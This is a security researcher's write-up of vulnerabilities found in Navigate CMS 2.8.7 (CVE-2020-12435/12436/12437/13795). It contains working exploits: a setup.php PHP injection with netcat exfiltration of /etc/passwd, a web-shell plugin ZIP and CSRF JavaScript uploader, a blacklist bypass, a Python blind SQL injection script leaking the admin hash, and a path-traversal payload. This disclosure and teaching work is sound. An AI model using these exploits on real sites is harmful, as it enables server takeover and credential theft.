This is some research I developed for OnSecurity base around finding vulnerabilities in open source applications. In the post, I cover setting up a test environment, SAST, payload development and much more.

What is the product and why this product?

Navigate CMS is "a powerful and intuitive content management system for everybody." This CMS is used to keep multiple websites managed and updated via the easy-to-use user interface. I chose this application to dig into for vulnerabilities, so that I could practice for my upcoming OSWE exam, while also potentially getting some CVE's under my belt.

Installing the application.

During the application install, I ran into some issues, so I thought I would address them here, and how I fixed them. As this could come in handy for future testers.

This setup is for version 2.8.7, which is the latest release at the time of this blog post's creation. When you install the application, it may have changed, and some of these issues may be fixed.

  1. Download the initial zip from the website. Mine is called navigate-2.8.7r1401.zip.
  2. Unzip the file into your webroot (unzip navigate-2.8.7r1401.zip).
  3. Go to your setup.php file on your webserver, make sure PHP is installed, MySQL is running, and your webserver is up.
  4. Make sure all of the issues on 1/5 are OK, and click next. Some of these issues are simply caused by misconfigurations or missing PHP extensions.
  5. You will then need to fill in application owner name (Check out this vulnerability I found in the setup.php file) amongst other information.
  6. Next you fill in database information, this includes username, password, and database. If you haven't set these up, they can be setup with:
sudo mysql -e "GRANT ALL PRIVILEGES ON *.* TO 'db_admin'@'localhost' IDENTIFIED BY 'password_goes_here';"
sudo mysql -e "CREATE DATABASE navigate;"
  1. Once these are created, you can click on import database, and, you may notice the "Create user account" step gets stuck. If so, simply modify the GET parameter called "step" in your URL, set it to 5.
  2. Finally, click the "do it for me!" button on the final installation tab, and you are finished... or not.
  3. After logging in, you will most likely be greeted with the following error:
  1. The way I fixed this, was by finding the php file that caused the error (/var/www/html/navigate/lib/packages/websites/website.class.php) and after taking a closer look.
  2. The error shows Incorrect integer value: '' for column 'shop_logo', which means the database expected an integer, but got a string. Hmmmm, the column is called "shop_logo", but I don't remember setting an image anywhere, maybe it defaulted to a string, and the database expected an integer.
  3. Reading through the file, we get to the defaults part of the file, and notice that this specific value, does indeed default to "", so we can replace that with a 0, and refresh the page.
":shop_logo" => value_or_default($this->shop_logo, ""),

Becomes

":shop_logo" => value_or_default($this->shop_logo, 0),
  1. We refresh the page, and finally, everything seems to be working fine. Now we can start hunting.

Setting up my environment for white-box testing.

For the white-box test, I have a fairly basic setup, but I like to think it is very effective for my personal hacking style. This can vary, and you should find the best way for you, this is just an example of what I did.

I have two monitors, on one I have a terminal, split into two panes with tmux. On the top pane, I have the application source code, in /var/www/html/APPLICATION/. On the bottom half, I have tail watching the MySQL logs. This can be achieved by adding:

[mysqld]
general_log_file = /var/log/mysql/mysql.log
general_log = 1

To your /etc/mysql/my.cnf file, and then running sudo tail -f /var/log/mysql/mysql.log.

On the other pane I have my browser, with hackmd open in one tab to keep notes, and the application in another. I also have burp open, and an incognito mode tab to test certain access controls.

Personally used methodology.

  1. Remember to keep an open mind about the possibilities of how each function works, and how it could be exploited.
  2. Get a feel for the application from a black box perspective.
  3. When unusual activity is recognized, read the source code and trace the execution path to see exactly what is happening.
  4. Keep notes of everything you notice / find, you don't know what may be useful later on.

Vulnerabilities and thought process of each.

Interesting find in the setup.php file (Fix).

When setting up the application, I reached the step that allowed me to choose the application name, and set it to an XSS payload (for good practice). Later on in the installation, I got an error, (specifically Parse error: syntax error, unexpected '<' in /var/www/html/navigate/cfg/globals.php on line 8) saying there was an error in the globals.php file, so after reading that file, I noticed that the double quote in my XSS payload wasn't escaped, so the string in the PHP file was actually terminated early, and I had PHP code injection in the globals.php file:

[...]
define('APP_NAME', 'Navigate CMS');
define('APP_VERSION', '2.8.7 r1401');
define('APP_OWNER', "Chivy"><script>alert(1);</script>");
define('APP_REALM', "NaviWebs-NaviGate"); // used for password encryption, do not change!
define('APP_UNIQUE', "nv_9ae6b86c165ea377b21cb8d0.49795113"); // unique id for this installation
define('APP_DEBUG', false || isset($_REQUEST['debug']));
[...]

To verify this, I deleted all the existing files, and started this installation again, this time, I set the app owner name to be:
chivato");echo(system($_GET['cmd']));//

The installation then fails, but we can go to http://localhost/navigate/cfg/globals.php?cmd=ls and see if it worked. Hmmm, we get an error that states we are not allowed to display output on the page:

Looks like we have blind command injection, the solution I used of this is the typical output exfiltration over netcat or http based requests. I simply made the server request back to me, with the command output, for example:

http://localhost/cfg/globals.php?cmd=cat%20/etc/passwd%20|%20nc%20localhost%201337

Leads to:

chiv@Dungeon:~$ nc -lvnp 1337
Listening on [0.0.0.0] (family 0, port 1337)
Connection from 127.0.0.1 35470 received!
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
[...]

Bingo! We can achieve RCE if the installation files have been left on the remote server.

One Click RCE (CSRF + unrestricted file upload) (CVE-2020-12435 & CVE-2020-12436)

Some of the best ways of achieving RCE in PHP applications that come to mind are:

  • By controlling the require() or include() function.
  • Uploading a malicious PHP file and accessing it from the website.
  • Deserialization vulnerabilities.
  • SQL Injection (by writing to a file).

So after grepping for both unserialize and include/require, and finding no vulnerable looking uses. I took a look to see if I could find any file uploads within the PHP application. This could be for profile pictures, plugins, themes, attachments or anything else, as long as it accepts one of the PHP extensions (List of some PHP extensions).

We notice some features that seem to allow the creation / upload of new files, such as the theme tab, or the extensions / plugins tab. For now, I am going to focus on the plugins tab.

While looking through the extensions page, we notice two plugins, one for Twitter, and one for votes. We also notice a small "install from file" in the top right corner. So I chose any random file and tried to upload it. I get an error that simply states Error uploading file. This is when I turned to my trusty source code for any hints as to what file type it expects.

Both the themes and plugins features actually accept any input, zip or not, and stores it on the server, which is then publicly accessible, and can be used for command execution. This means I could just make a chiv.php file and upload it via the plugins, and even if it errors, it will still be accessible at /var/www/html/navigate/plugins/chiv.php. For the sake of good practice, I will act as if I need to build a valid ZIP file.

Simply by grepping for the word "extension", I am led to a comment left by the developer.
grep -Ri "extension"

lib/packages/extensions/extensions.php: // uncompress ZIP and copy it to the extensions dir

It seems to accept a ZIP file, and decompresses it into the "extensions" directory. I went into my own installation directory, and looked for a file called extensions or something similar. In my case, it turned out to be "plugins". So I took a deeper look at the specific "votes" plugin.

The following files exist:

  • naviwebs.png & thumbnail.png
  • votes.info.html
  • votes.php
  • votes.plugin

The first two are obviously just images for the plugin, but then we have some unusualy files, each with the following content:

votes.info.html:

<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <style media="screen" type="text/css">
        .navigate_wrapper_info  {   background: #E5F1FF;    border-radius: 6px; margin: 10px auto;  padding: 1px 20px 20px 20px;    color: #595959; font-size: 12px;    font-family: Verdana;   }
        h1  {   margin: 25px 0px 10px 0px;  font-size: 17px;    font-weight: bold;  }
        h2  {   margin: 25px 0px 10px 0px;  font-size: 14px;    font-weight: bold;  }

  [... INFORMATION ABOUT THE PLUGIN ...]
  
</div>

</body>
</html>

votes.php

<?php
function nvweb_votes_plugin($vars=array())
{
        global $website;
        global $DB;
        global $current;
        global $template;

        $out = '';

        [... ACTUAL PLUGINS PHP CODE ...]

        }

        return $html;
}
?>

votes.plugin

{
    "title": "Votes (submit votes)",
    "version": "1.1",
    "author": "Naviwebs",
    "website": "http://www.naviwebs.com",
    "description": "Submit a user vote to Navigate CMS",
    "type": "website"
}

These files all seem simple enough to replicate, so I built my own malicious zip file.

votes.info.html:

<html>
<body>
<h1><center>Chivato Was Here!</center></h1>
</body>
</html>

chiv.php

<?php system($_GET['cmd']); ?>

chiv.plugin

{
    "title": "Chivato RCE",
    "version": "1.337",
    "author": "chivato",
    "website": "https://hackmd.io/@chivato",
    "description": "Remote Command Execution!",
    "type": "website"
}

These files can then be zipped up together, and tried out on the application:

chiv@Dungeon:~/chiv$ ls
chiv.info.plugin  chiv.php  chiv.plugin
chiv@Dungeon:~/chiv$ zip chiv.zip ./*
  adding: chiv.info.plugin (stored 0%)
  adding: chiv.php (stored 0%)
  adding: chiv.plugin (deflated 31%)

Everything seems to be uploaded ok. Now we can navigate to the publicly accessible chiv.php file at http://localhost/navigate/plugins/chiv/chiv.php.

Perfect! We have RCE! Now one of the downsides of this vulnerability is that it requires authentication. Even though older versions of this app were vulnerable to login bypasses, the current one is not. So the next best thing is having the admin trigger some sort of XSS, or CSRF.

I captured the upload ZIP request in burp and it looked like this:

POST /navigate/navigate.php?fid=extensions&act=extension_upload HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------403511733326492963523970428765
Content-Length: 936
Origin: http://localhost
Connection: close
Referer: http://localhost/navigate/navigate.php?fid=extensions
Cookie: navigate-language=en; editor=7drrom2i20hh2i23seuaeb4kk2; front=0v5be0e1bgvd83hrpv0n74vgoq; __stripe_mid=02362ec0-2229-452c-b85e-38e08906325a; navigate-tinymce-scroll=%7B%7D; PHPSESSID=oji6p0panmltu02gj4ba11v6pb; NVSID_5abfd90e=oji6p0panmltu02gj4ba11v6pb
Upgrade-Insecure-Requests: 1

-----------------------------403511733326492963523970428765
Content-Disposition: form-data; name="extension-upload"; filename="chiv.zip"
Content-Type: application/zip

ZIP BINARY DATA

Now, you may have noticed the lack of CSRF tokens. This immediately stood out to me, so I knew there must be a way to make an admin upload the malicious ZIP file for me, simply by opening a maliciously crafted HTML file in a browser that has their Navigate CMS admin cookies stored.

I am not very good at writing JavaScript, so I did some research, and ended up using someone else's CSRF exploit as a template (check out their exploit here!). The difficulties of making this exploit were the idea that I needed to send binary data somehow, which I later solved with hex literals, furthermore, I couldn't find out how to send multipart data forms using XHR (as you can see, kotowicz built the request manually in his javascript payload).

Here is a PoC video from the exploit working.

Post-Patch note

They patched this vulnerability with the following fix:

$prohibited_functions = array(
    'eval(',
    'system(',
    'exec(',
    'shell_exec(',
    'popen(',
    'proc_open(',
    'passthru(',
    '`' // https://www.php.net/manual/en/language.operators.execution.php
);
foreach($files as $file)
{
    // remove all spaces
    $file_content = file_get_contents($file);
    $file_content = str_replace(array(' ', "\t", "\r", "\n"), '', $file_content);
    foreach($prohibited_functions as $pf)
    {
        if(stripos($file_content, $pf) !== false)
        {
            core_remove_folder($tempdir);
            return false;
        }
    }
}

Essentially, it is a blacklist of words that iterates through the files and checks if the file contains that string. This was bypassed by using PHP to assign a custom name to the system function. This way, at no point in time is the "system" string used.

For example

<?php
    $sys = "sys"."tem";
    $sys($_GET['cmd']);
?>

This bypasses the blacklist check and allows for the file to be uploaded, even though the system function is still being used.

Final exploit:

<script>
var logUrl = "http://localhost/navigate/navigate.php?fid=extensions&act=extension_upload";

function byteValue(x) {
    return x.charCodeAt(0) & 0xff;
}

function toBytes(datastr) {
    var ords = Array.prototype.map.call(datastr, byteValue);
    var ui8a = new Uint8Array(ords);
    return ui8a.buffer;
}

if (typeof XMLHttpRequest.prototype.sendAsBinary == 'undefined' && Uint8Array) {
	XMLHttpRequest.prototype.sendAsBinary = function(datastr) {
	    this.send(toBytes(datastr));
	}
}

function fileUpload(fileData, fileName) {
	  var fileSize = fileData.length,
	    boundary = "---------------------------399386530342483226231822376790",
	    uri = logUrl,
	    xhr = new XMLHttpRequest();

	  var additionalFields = {
	  }

	  var fileFieldName = "extension-upload";
	  
	  xhr.open("POST", uri, true);
	  xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8")
	  xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary="+boundary); // simulate a file MIME POST request.
	  xhr.setRequestHeader("Content-Length", fileSize);
	  xhr.withCredentials = "true";
 
	  xhr.onreadystatechange = function() {
	    if (xhr.readyState == 4) {
	      if ((xhr.status >= 200 && xhr.status <= 200) || xhr.status == 304) {
	        
	        if (xhr.responseText != "") {
	          alert(JSON.parse(xhr.responseText).msg); // display response.
	        }
	      } else if (xhr.status == 0) {
	    	  $("#goto").show();
	      }
	    }
	  }
	  
	  var body = "";
	  
	  for (var i in additionalFields) {
		  if (additionalFields.hasOwnProperty(i)) {
			  body += addField(i, additionalFields[i], boundary);
		  }
	  }

	  body += addFileField(fileFieldName, fileData, fileName, boundary);
	  body += "--" + boundary + "--";
	  xhr.sendAsBinary(body);
	  return true;
}

function addField(name, value, boundary) {
	var c = "--" + boundary + "\r\n"
	c += "Content-Disposition: form-data; name='" + name + "'\r\n\r\n";
	c += value + "\r\n";
	return c;
}

function addFileField(name, value, filename, boundary) {
    var c = "--" + boundary + "\r\n"
    c += "Content-Disposition: form-data; name='" + name + "'; filename='" + filename + "'\r\n";
    c += "Content-Type: application/zip\r\n\r\n";
    c += value + "\r\n";
    return c;	
}

var start = function() {
	var c = "\x50\x4b\x03\x04\x0a\x00\x00\x00\x00\x00\x77\x9e\x97\x50\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x1c\x00\x63\x68\x69\x76\x2f\x55\x54\x09\x00\x03\xc2\xe3\xa1\x5e\xdb\xe3\xa1\x5e\x75\x78\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\x50\x4b\x03\x04\x14\x00\x00\x00\x08\x00\xa4\x9d\x97\x50\x02\x75\x9f\x67\x85\x00\x00\x00\xc0\x00\x00\x00\x10\x00\x1c\x00\x63\x68\x69\x76\x2f\x63\x68\x69\x76\x2e\x70\x6c\x75\x67\x69\x6e\x55\x54\x09\x00\x03\x33\xe2\xa1\x5e\x42\xe2\xa1\x5e\x75\x78\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\x55\x8d\x41\x0a\xc2\x30\x10\x45\xf7\x39\xc5\x90\xb5\x34\x48\x17\x42\x57\x4a\xc9\x05\xea\x09\x62\x32\x90\xa0\xe9\x84\x64\x5a\x15\xf1\xee\xda\xd8\x2e\xfc\xcb\xff\x1e\xff\xbf\x04\x7c\x23\x39\xf0\x0d\x65\x07\xf2\x34\xc0\x59\x6b\xd0\x72\xf7\x03\x33\xe6\x12\x68\x5c\xd0\xbe\x69\xdb\xc3\xd6\x9b\x89\x3d\xe5\xa5\xee\x7d\x98\x0d\xd3\x06\xee\x78\x29\x81\xeb\x96\x67\x4e\xa5\x53\xca\x1b\x7b\x8d\xae\x09\xa4\x8e\xf6\x5f\x76\x58\x6c\x0e\x89\xd7\x87\x01\x23\x31\x42\x4f\x31\x9a\xd1\x81\x7e\xa0\x9d\x2a\x5b\x75\x7e\xa6\x3a\xbc\x7d\x88\xb7\xf8\x00\x50\x4b\x03\x04\x0a\x00\x00\x00\x00\x00\x1c\x9e\x97\x50\x37\x55\x33\xfd\x3b\x00\x00\x00\x3b\x00\x00\x00\x15\x00\x1c\x00\x63\x68\x69\x76\x2f\x63\x68\x69\x76\x2e\x69\x6e\x66\x6f\x2e\x70\x6c\x75\x67\x69\x6e\x55\x54\x09\x00\x03\x18\xe3\xa1\x5e\x06\xe3\xa1\x5e\x75\x78\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\x3c\x68\x31\x3e\x57\x65\x6c\x63\x6f\x6d\x65\x20\x74\x6f\x20\x43\x68\x69\x76\x61\x74\x6f\x27\x73\x20\x52\x43\x45\x20\x70\x6c\x75\x67\x69\x6e\x20\x66\x6f\x72\x20\x4e\x61\x76\x69\x67\x61\x74\x65\x20\x43\x4d\x53\x2e\x3c\x2f\x68\x31\x3e\x0a\x50\x4b\x03\x04\x0a\x00\x00\x00\x00\x00\x71\x9e\x97\x50\xfa\x43\x48\xab\x1f\x00\x00\x00\x1f\x00\x00\x00\x0d\x00\x1c\x00\x63\x68\x69\x76\x2f\x63\x68\x69\x76\x2e\x70\x68\x70\x55\x54\x09\x00\x03\xb5\xe3\xa1\x5e\xa4\xe3\xa1\x5e\x75\x78\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\x3c\x3f\x70\x68\x70\x20\x73\x79\x73\x74\x65\x6d\x28\x24\x5f\x47\x45\x54\x5b\x27\x63\x6d\x64\x27\x5d\x29\x3b\x20\x3f\x3e\x0a\x50\x4b\x01\x02\x1e\x03\x0a\x00\x00\x00\x00\x00\x77\x9e\x97\x50\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\xff\x41\x00\x00\x00\x00\x63\x68\x69\x76\x2f\x55\x54\x05\x00\x03\xc2\xe3\xa1\x5e\x75\x78\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\x50\x4b\x01\x02\x1e\x03\x14\x00\x00\x00\x08\x00\xa4\x9d\x97\x50\x02\x75\x9f\x67\x85\x00\x00\x00\xc0\x00\x00\x00\x10\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\x81\x3f\x00\x00\x00\x63\x68\x69\x76\x2f\x63\x68\x69\x76\x2e\x70\x6c\x75\x67\x69\x6e\x55\x54\x05\x00\x03\x33\xe2\xa1\x5e\x75\x78\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\x50\x4b\x01\x02\x1e\x03\x0a\x00\x00\x00\x00\x00\x1c\x9e\x97\x50\x37\x55\x33\xfd\x3b\x00\x00\x00\x3b\x00\x00\x00\x15\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xa4\x81\x0e\x01\x00\x00\x63\x68\x69\x76\x2f\x63\x68\x69\x76\x2e\x69\x6e\x66\x6f\x2e\x70\x6c\x75\x67\x69\x6e\x55\x54\x05\x00\x03\x18\xe3\xa1\x5e\x75\x78\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\x50\x4b\x01\x02\x1e\x03\x0a\x00\x00\x00\x00\x00\x71\x9e\x97\x50\xfa\x43\x48\xab\x1f\x00\x00\x00\x1f\x00\x00\x00\x0d\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xa4\x81\x98\x01\x00\x00\x63\x68\x69\x76\x2f\x63\x68\x69\x76\x2e\x70\x68\x70\x55\x54\x05\x00\x03\xb5\xe3\xa1\x5e\x75\x78\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\x50\x4b\x05\x06\x00\x00\x00\x00\x04\x00\x04\x00\x4f\x01\x00\x00\xfe\x01\x00\x00\x00\x00"
	fileUpload(c, "chiv.zip");
};

start();
</script>

Blind Time Based SQL Injection (CVE-2020-12437)

While looking through the application, I came across a section made specifically for comments, where you can create, view, delete or edit comments made for other admins.

I made a sample comment, and caught the request when changing the order of the comments out of curiousity. When doing this, I noticed some GET parameters appear in the URL of the request I caught.

Example initial URL:
/navigate/navigate.php?fid=comments&act=1&_search=false&nd=1587756113828&rows=30&page=1&sidx=date_created&sord=desc

Logs:

46 Query     SELECT SQL_CALC_FOUND_ROWS id,object_type,object_id,user,email,date_created,status,message
                                           FROM nv_comments
                                          WHERE  website = 1
                                   ORDER BY date_created desc
                                          LIMIT 30
                                         OFFSET 0

The names of these parameters didn't initially stand out to me, but when I looked at my MySQL log tab, I noticed one of the values in a parameter was "date_created", and another was "desc". Which both seemed to appear in the SQL logs. After adding some random letters to both parameters, I get SQL errors.

URL with extra chars:
/navigate/navigate.php?fid=comments&act=1&_search=false&nd=1587756113828&rows=30&page=1&sidx=date_createda&sord=desca

SQL Error:

Warning: PDO::query(): SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'desca 
					  LIMIT 30
					 OFFSET 0' at line 4 in /var/www/html/navigate/lib/core/database.class.php on line 247
Error: Call to a member function setFetchMode() on boolean in /var/www/html/navigate/lib/core/database.class.php:256
Stack trace:
#0 /var/www/html/navigate/lib/packages/comments/comments.php(57): database->queryLimit('id,object_type,...', 'nv_comments', ' website = 1', 'date_createda d...', 0, 30)
#1 /var/www/html/navigate/lib/core/core.php(150): run()
#2 /var/www/html/navigate/navigate.php(243): core_run()
#3 {main}
(stored in /var/www/html/navigate/private/tmp/exception--2020-04-24--14-20--c331ab75d4.html)

So, we can see it is complaining about "desca". This means we are not simply limited to ASC or DESC in this field, and essentially, it is vulnerable to blind SQL Injection via the ORDER BY clause. I actually already have a post revolving around this kind of SQL Injection (https://hackmd.io/lq7nA3ISSoeiGjiHVn5CoA), so I will be using this a base.

I also looked into how the database is structured, to see what the most valuable information to leak with the SQL Injection would be. I decided the superuser of the application was a good place to start, and of course, the first created user must be superuser. So I chose to leak the password hash of the user with ID 1.

I was curious to find out more as to why this parameter is vulnerable, but others are not. So I dug into the code a bit, starting with what we know, the parameter names (sord and sidx).

After moving into the location of my NavigateCMS installation, I can use grep to recursively grep throughout the application for these key strings.
grep -Ri "sidx" /var/www/html/navigate | grep -Ri "sord"

Now bare in mind, we know the code we are looking for is related to ORDER BY, and is part of a SQL query. It is also used in comments functionality, so we can filter down our current command output by also grepping for the key word "comments".
grep -Ri "sidx" /var/www/html/navigate | grep -Ri "sord" | grep -Ri "comments"

Bingo:

/var/www/html/navigate/lib/packages/comments/comments.php:                                      $orderby= $_REQUEST['sidx'].' '.$_REQUEST['sord'];

So now we know the location of the vulnerability, let's try and understand the actual cause for the vulnerability.

Reading through the comments.php file shows us they seem to be using the PHP correctly for the query by passing each variable as a parameter to the query as a separate value.

$DB->queryLimit('id,object_type,object_id,user,email,date_created,status,message','nv_comments',$where,$orderby,$offset,$max);

So where does it set each variable?

$page = intval($_REQUEST['page']);
$max    = intval($_REQUEST['rows']);
$offset = ($page - 1) * $max;
$orderby= $_REQUEST['sidx'].' '.$_REQUEST['sord'];
$where = ' website = '.$website->id;

This is where they went wrong. For each integer value, they make sure it only accepts integers, they also only request information from the request when needed. The issue appears when they lack validation and sanitization on both sidx and sord, but then append them together for the same parameter. This allows us to control the whole ORDER BY clause without limitations.

After further inspection of the application, it turns out this is not unique to the comments.php file, and the same SQL Injection vulnerability occurs in multiple places.

Specifically, this vulnerability should also exist in:

  • /var/www/html/navigate/lib/packages/items/items.php
  • /var/www/html/navigate/lib/packages/websites/websites.php
  • /var/www/html/navigate/lib/packages/products/products.php
  • /var/www/html/navigate/lib/packages/blocks/blocks.php
  • /var/www/html/navigate/lib/packages/users/users.php
  • /var/www/html/navigate/lib/packages/coupons/coupons.php
  • /var/www/html/navigate/lib/packages/templates/templates.php

And multiple others (run grep -Ri "sidx" /var/www/html/navigate | grep "sord" | grep "\$_REQUEST" in webroot for all occurrences).

NOTE:
After further investigation, the best value to leak would not have been the password hash. This is due to the fact that we would have to crack the hash for it to be of any value to us. Alternatively, after checking the code for the login page, the only thing needed for the "reset password" function is an "activation_code" that is stored in the users table. We could have used a modified version of the exploit below to leak the value, and change the administrators password with a URL similar to the following:

/login.php?action=password-reset&value=[ACTIVATION CODE LEAKED FROM DB]

Supporting evidence for this being possible (in login.php):

<?php
    // are we on a password change process?
    if(isset($_REQUEST['action']) && $_REQUEST['action']=='password-reset')
    {
        $value = trim($_REQUEST['value']);

        // look for an existing username or e-mail in Navigate CMS users table
        $found_id = $DB->query_single(
            'id',
            'nv_users',
            'activation_key = :activation_key',
            NULL,
            array(':activation_key' => $value) // SELECT 1 ID from the database where the activation key is equal to the one we entered
            );

        if(!empty($found_id))
        {
            $user->load($found_id);

            if(!empty($_REQUEST['login-password']))
            {
                $user->activation_key = '';
                $user->set_password(trim($_REQUEST['login-password']));
                $user->save();
                ?>
                <script language="javascript">
                    $(document).ready(function()
                    {
                        $('form:first').append('<div class="navigate-form-row" style=" padding-top: 20px; text-align: center; display: none; "></div>');
                        $('form:first').find('div:last').html('<span class="ok" style="color: #579A4D; font-weight: bold; "><img src="img/icons/silk/accept.png" width="16" height="16" align="absmiddle" /> <?php echo t(455, 'Your new password has been activated.');?></span>');
                        $('form:first').find('div:last').fadeIn('slow');
                    });
                </script>
                <?php
            }
            else
            {
                ?>
                <script language="javascript">
                    $(document).ready(function()
                    {
                        $('#login-username').parent().remove();
                        $('#login-remember').parent().remove();
                        $('#login-button').remove();
                        $('#navigate-lost-password-dialog').remove();
                        $('form').attr('action', $('form').attr('action') + '?action=password-reset&value=<?php echo $value;?>');
                        $('form').append('<button id="login-button" style="margin-top: 20px; font-size: 14px; "><?php echo t(34, "Save");?></button>');
                    });
                </script>
                <?php
            }
        }
    }
?>
</html>
<?php
        $DB->disconnect();
?>

Final exploit:

import requests, time, string

user = raw_input("Please enter your username: \n")
password = raw_input("Please enter your password: \n")
URL = raw_input("Enter the target URL (in this format 'http://domain.com/navigate/'): \n")

s = requests.Session()
data = {'login-username': (None, user), 'login-password':(None, password)}
s.post(url = URL + "login.php", files = data)
dictionary = string.ascii_lowercase + string.ascii_uppercase + string.digits
final = ""
while True:
        for x in dictionary:
                payload = '(SELECT (CASE WHEN EXISTS(SELECT password FROM nv_users WHERE password REGEXP BINARY "^' + str(final) + x + '.*" AND id = 1) THEN (SELECT sleep(5)) ELSE date_created END)); -- -'
                r = s.post(url = URL + "/navigate.php?fid=comments&act=1&rows=1&sidx=" + payload)
                if int(r.elapsed.total_seconds()) > 4:
                        final += x
                        print "Leaking contents of admin hash: " + final
                        break
                else:
                        pass

Template path traversal leads to RCE (CVE-2020-13795).

For this vulnerability, I looked into the "templates" feature of the application. It seems we can edit any file in the application's templates directory, for example:
/var/www/html/navigate/private/1/templates/

My initial thought was to traverse out of the current directory and read the global config file (located at /var/www/html/navigate/cfg/globals.php).

I was able to exploit this with the simple "../", and I reported it to Navigate, who then issued a fix, and asked me to re-test the feature.

After taking a quick look, it seemed that all the application was doing was stripping "../" from the path, as seen in the code below (specifically line 4):

public function load_from_post()
{
        $this->title            = $_REQUEST['title'];
        $this->file             = str_replace(array('../', '..\\'), '', $_REQUEST['file']);
        $this->permission       = intval($_REQUEST['permission']);
        $this->enabled          = intval($_REQUEST['enabled']);
        // sections
        $this->sections         = array();
        if(empty($_REQUEST['template-sections-code'])){
        $_REQUEST['template-sections-code'] = array();
        }
        for($s = 0; $s < count($_REQUEST['template-sections-code']); $s++){
                if(empty($_REQUEST['template-sections-code'][$s])){
        continue;
        }
        $this->sections[] = array(
            'code' => $_REQUEST['template-sections-code'][$s],
            'name' => $_REQUEST['template-sections-name'][$s],
            'editor' => $_REQUEST['template-sections-editor'][$s],
            'width' => $_REQUEST['template-sections-width'][$s]
            );
        }
        if(empty($this->sections)){
            $this->sections = array(
                0 => array(
                    'code' => 'id',
                    'name' => '#main#',
                    'editor' => 'tinymce',
                    'width' => '960'
                    )
            );
        }
        $this->gallery          = intval($_REQUEST['gallery']);
        $this->comments         = intval($_REQUEST['comments']);
        $this->tags             = intval($_REQUEST['tags']);
        $this->statistics       = intval($_REQUEST['statistics']);
}

What this line does is replace any "../" or "..\" strings that exist in the file path upon clicking the edit file button. As this is not iterated, it will only remove those strings once.

../ will become [blank space]
..\ will become [blank space]
....// will become ../

Using this technique, we can create a payload as so:
....//....//....//....//....//....//....//....//....//....//var/www/html/navigate/cfg/globals.php

Now let's test the payload on the application.

  1. I made a new template.
  2. I set any title.
  3. I set the path to template to be:
    ....//....//....//....//....//....//....//....//....//....//var/www/html/navigate/cfg/globals.php
  4. I save the template.
  5. I click the edit button.

This is the output I get:

We successfully leaked the global configuration file. This technique can also be used to create an index file with a PHP backdoor in it.

Conclusion

In conclusion, this application had multiple vulnerabilities with severe consequences. I will continue to dig into the app, along with other open source projects, as I think it is a great way to learn, and expand on new techniques.

I always find it fun to contribute back to the development community via white-box testing open source applications, even if it is for free. Hacking is not only my job, but my hobby, and the satisfaction of building a working exploit is something I will always love to get.

If any questions or queries come up, feel free to contact me on twitter.